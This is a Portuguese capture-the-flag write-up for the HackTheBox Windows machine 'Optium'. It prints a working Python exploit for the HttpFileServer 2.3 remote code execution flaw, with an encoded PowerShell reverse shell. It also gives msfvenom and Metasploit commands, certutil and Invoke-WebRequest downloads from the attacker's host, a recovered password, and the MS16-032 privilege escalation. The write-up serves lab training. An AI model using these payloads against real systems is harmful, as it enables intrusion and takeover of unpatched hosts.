> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Resolução da máquina Optium do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Habilidades:**

* Exploração do HttpFileServer 2.3 (RCE)
* Enumeração do Sistema - Windows Exploit Suggester
* Windows Server 12 (MS16-032) (Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/01cd0e06c3a8b4d70aaaef0167755b7d7725feb9" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/e845e10623020f0cb8f97088dc53d6cb66a5ab39" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts
```

<figure><img src="/files/a44f9fe6cb621afaf38654feabd3340d6d0b2023" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir, de forma concisa, as portas abertas e copiá-las para a área de transferência (80)

<figure><img src="/files/e5dfa4cb2e59f0afc39888bf25b2baa3f027d0ef" alt="" width="563"><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted
```

<figure><img src="/files/ee2dbcccdce1a42cf0f64b811ff8b47f2e635692" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/10d54f4f0fe8b49295da80ce059fc78675f96869" alt="" width="563"><figcaption></figcaption></figure>

## **Exploração**

### **Porta 80 : HttpFileServer 2.3**

Um servidor web HttpFileServer 2.3 foi descoberto. Após a pesquisa, essa versão é vulnerável à execução remota de código (NCE).

<figure><img src="/files/a7d7d70ad605afad76686c4d7fc3063c234d5a5e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e8d5ad9c9e1962686d877416ecdf348b6b60f09a" alt="" width="503"><figcaption></figcaption></figure>

### **Pesquisa de exploit**

Comando:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**Script Python Personalizado**

<figure><img src="/files/730cf3e26172d3ab460895d7e01317ffada8f7b2" alt=""><figcaption></figcaption></figure>

**Script Python Personalizado**

O script deve ser modificado para incluir os seguintes parâmetros:

* `LHOST` : seu IP local (VPN).
* `LPORT`: porta local de escuta (ex. 4444).
* `RHOST`: IP do alvo.
* `RPORT`: porta do serviço vulnerável (por exemplo, 80).

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# Defina o comando a ser gravado em um arquivo
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Codifique o comando em formato base64
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nComando codificado em formato base64...")

# Defina a carga útil a ser incluída na URL
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Codifique a carga útil e envie uma requisição HTTP GET
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nCarga útil codificada e uma requisição HTTP GET enviada ao alvo...")

# Imprima algumas informações
print("/nImprimindo algumas informações para depuração...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Aguarde conexões
print("/nAguardando conexão...")
os.system(f'nc -nlvp {lport}')
```

Escute na sua máquina:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/c390d52875663973efc3cef811b7f694929451ee" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/b1ad1f7103a9983e46f14062d3747a6d0e1d20aa" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilégios**

### **Enumeração com winPEAS** <a href="#winpeas-enumeration" id="winpeas-enumeration"></a>

Iniciamos a ferramenta winPEAS para realizar o reconhecimento na máquina-alvo via winrm. O objetivo é descobrir informações sensíveis e identificar possíveis vulnerabilidades.

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

**Baixar e executar o winPEAS**

```
Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<figure><img src="/files/04f569be86548fde51776d5942d6c2a73efd1653" alt=""><figcaption></figcaption></figure>

Isso nos permitiu descobrir informações críticas, como senhas e detalhes sobre a versão do sistema operacional.

<figure><img src="/files/3434914ca2c313dbba4da2b2dbf2fb96d02ee5f6" alt=""><figcaption></figcaption></figure>

**Palavras de senha descobertas**

`kostas:kdeEjDowkS*`

Além disso, a ferramenta revelou que a máquina estava executando Windows Server 2012 R2 Standard, uma versão vulnerável com um exploit associado para escalada de privilégios via kernel.

<figure><img src="/files/0b8fdaf402268be0a7f2a924ce248cef8e0c538a" alt=""><figcaption></figcaption></figure>

### Exploração do Kernel:

Procuramos exploits específicos para Windows Server 2012 R2 para escalada local de privilégios. O **MS16-032** exploit mostrou-se relevante para esta versão do Windows.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

* **MS16-032** para Windows 2012 R2 (escalada local de privilégios).

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

### **Shell Reversa via Metasploit**

Em seguida, criamos um arquivo a.exe para estabelecer uma shell reversa a partir do Metasploit. Os seguintes passos foram realizados:

Escutando no Metasploit:

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.12
set LPORT 4444
exploit -j
```

Criar payload `shell.exe` com o seguinte comando:

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe
</strong></code></pre>

Transferir o payload usando um servidor HTTP Python e `certutil`:

```bash
python3 -m http.server
```

```powershell
certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe
```

Depois que o arquivo foi transferido, conseguimos estabelecer uma sessão Meterpreter (sessão 1).

<figure><img src="/files/fd6c6c3e698755e25d0d92ee2465f4e6e193e05d" alt=""><figcaption></figcaption></figure>

### **Exploração da vulnerabilidade MS16-032**

Depois de obter acesso à máquina, procuramos o exploit vulnerável no Metasploit:

`exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

<figure><img src="/files/6fe0495e782f519ba158f580c35f835faabee71f" alt="" width="563"><figcaption></figcaption></figure>

Configuramos as sessões, definimos `LHOST` e `LPORT`, e selecionamos o alvo Windows x64 para evitar conflito. Após a conclusão do exploit, obtivemos acesso total ao sistema-alvo.

<figure><img src="/files/d467e542872003ec7af053e038aac0256402ee72" alt=""><figcaption></figcaption></figure>

### Flag root :)

<figure><img src="/files/10e790bd5d8321c8e9069bbf1436acb9e9746e87" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cde362b3dc86c62716f0de9a97958b979ae39bd6" alt="" width="523"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
